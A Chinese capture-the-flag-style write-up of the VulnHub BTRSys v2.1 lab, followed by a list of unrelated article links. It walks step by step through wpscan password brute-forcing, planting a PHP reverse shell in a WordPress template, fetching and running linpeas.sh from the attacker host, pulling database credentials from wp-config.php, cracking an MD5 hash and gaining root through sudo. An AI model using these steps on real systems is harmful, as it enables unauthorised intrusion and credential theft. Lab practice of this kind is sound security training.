当前位置: 首页 > news >正文

vulnhub BTRSys: v2.1

渗透思路:

nmap扫描端口 ---- gobuster扫描网站目录 ---- wpscan扫描wordpress用户名并爆破密码 ---- 利用WordPress的模板编辑功能getshell ---- wordpress配置文件泄露数据库用户名密码 ---- 数据库泄露btrisk用户的密码 ---- sudo su提权

环境信息:

靶机:192.168.101.99

攻击机:192.168.101.34

具体步骤:

1、nmap扫描端口

sudo nmap -sV -sC -p- 192.168.101.99

发现ftp、ssh和http端口

2、gobuster扫描网站目录

gobuster dir -u http://192.168.101.99 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

扫描到/wordpress目录

3、wpscan扫描wordpress用户名并爆破密码

wpscan --url http://192.168.101.99/wordpress -e

扫描到两个用户btrisk和admin

分别用wpscan爆破这两个用户的密码,btrisk的密码没有爆破出来,admin的密码是admin

wpscan --url http://192.168.101.99/wordpress -U admin -P "rockyou.txt"

4、利用WordPress的模板编辑功能getshell

以用户admin密码admin进行登录:http://192.168.101.99/wordpress/wp-admin/

登录成功后依次点击左侧栏Appearance和Editor,右侧栏404 Template,然后用kali linux中/usr/share/webshells/php/php-reverse-shell.php的内容进行替换,记得根据自己的环境修改$ip和$port为攻击机监听反弹shell的ip和端口

然后点击页面下方的Update File按钮,当页面如上图这样显示File edited successfully.表示模板修改成功。

此时在攻击机上用nc监听8888端口

nc -nlvp 8888

浏览器访问http://192.168.101.99/wordpress/wp-content/themes/twentyfourteen/404.php

可以在攻击机上得到靶机www-data用户的反弹shell

输入如下命令可以得到交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

5、wordpress配置文件泄露数据库用户名密码

ss -antp

发现本地开着3306端口(mysql),但目前不知道用户名和密码

从攻击机上下载linpeas.sh,并执行

wget http://192.168.101.34/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh

发现wordpress配置文件/var/www/html/wordpress/wp-config.php泄露了数据库用户名root,密码rootpassword!

6、数据库泄露btrisk用户的密码

以用户名root登录本地mysql

mysql -u root -p

密码rootpassword!

登录成功后查看所有数据库名称

mysql> show databases;

由于在系统上我们也发现了btrisk用户,而之前在wordpress上也发现了btrisk用户,所以选择wordpress数据库,查看数据库中所有表,发现有名为wp_users的表,查看该表所有数据

mysql> use wordpress;
mysql> show tables;
mysql> select * from wp_users;

发现btrisk用户密码的md5值为a318e4507e5a74604aafb45e4741edd3

在网站MD5免费在线解密破解_MD5在线加密-SOMD5上爆破,发现其明文密码为roottoor

7、提权

用su命令切换到btrisk用户,密码为roottoor

然后执行sudo -l查看btrisk用户可以sudo执行的命令,发现其可以以任何用户的身份执行任何命令

因此可以sudo su -提权到root用户

相关文章:

  • mysql使用小记--group_concat()、sum()
  • SpringBoot学习笔记(五)IOC
  • 微信、QQ防撤回
  • RKMPP库快速上手--(三)MPP解码入门
  • torch.nn.interpolate—torch上采样和下采样操作
  • DBCO-PEG-OPSS/OPSS-PEG-DBCO/二苯并环辛炔聚乙二醇修饰邻吡啶二硫
  • SpringCloud与SpringCloudAlibaba的比较
  • PostgreSQL修炼之道笔记之准备篇(四)
  • Springboot整合Redis集群实战详解
  • 聚乙烯亚胺偶联乳清白蛋白/肌白蛋白/豆清白蛋白/蓖麻蛋白/豌豆白蛋白1b ( PA1b)科研试剂
  • (附源码)流浪动物保护平台的设计与实现 毕业设计 161154
  • springBoot整合SqlSessionTemplate使用
  • jieba—第三方中文分词函数库
  • Python桌面文件清理脚本
  • STM32开发板在RT-Thread中使用segger_rtt软件包
  • 【许晓笛】 EOS 智能合约案例解析(3)
  • Apache的基本使用
  • express如何解决request entity too large问题
  • JAVA 学习IO流
  • JavaScript DOM 10 - 滚动
  • Java应用性能调优
  • jQuery(一)
  • MobX
  • Quartz实现数据同步 | 从0开始构建SpringCloud微服务(3)
  • SegmentFault 2015 Top Rank
  • swift基础之_对象 实例方法 对象方法。
  • use Google search engine
  • Vultr 教程目录
  • 构造函数(constructor)与原型链(prototype)关系
  • 想晋级高级工程师只知道表面是不够的!Git内部原理介绍
  • 小程序开发之路(一)
  • 《TCP IP 详解卷1:协议》阅读笔记 - 第六章
  • 阿里云服务器如何修改远程端口?
  • 好程序员web前端教程分享CSS不同元素margin的计算 ...
  • 京东物流联手山西图灵打造智能供应链,让阅读更有趣 ...
  • ​一些不规范的GTID使用场景
  • #我与Java虚拟机的故事#连载10: 如何在阿里、腾讯、百度、及字节跳动等公司面试中脱颖而出...
  • (¥1011)-(一千零一拾一元整)输出
  • (01)ORB-SLAM2源码无死角解析-(56) 闭环线程→计算Sim3:理论推导(1)求解s,t
  • (04)odoo视图操作
  • (k8s中)docker netty OOM问题记录
  • (Matalb回归预测)PSO-BP粒子群算法优化BP神经网络的多维回归预测
  • (Redis使用系列) Springboot 实现Redis 同数据源动态切换db 八
  • (ZT)北大教授朱青生给学生的一封信:大学,更是一个科学的保证
  • (非本人原创)史记·柴静列传(r4笔记第65天)
  • (附源码)SSM环卫人员管理平台 计算机毕设36412
  • (解决办法)ASP.NET导出Excel,打开时提示“您尝试打开文件'XXX.xls'的格式与文件扩展名指定文件不一致
  • (一)C语言之入门:使用Visual Studio Community 2022运行hello world
  • (原創) X61用戶,小心你的上蓋!! (NB) (ThinkPad) (X61)
  • (原創) 如何動態建立二維陣列(多維陣列)? (.NET) (C#)
  • . ./ bash dash source 这五种执行shell脚本方式 区别
  • .NET core 自定义过滤器 Filter 实现webapi RestFul 统一接口数据返回格式
  • .net mvc部分视图
  • .NET 除了用 Task 之外,如何自己写一个可以 await 的对象?
  • .NET 读取 JSON格式的数据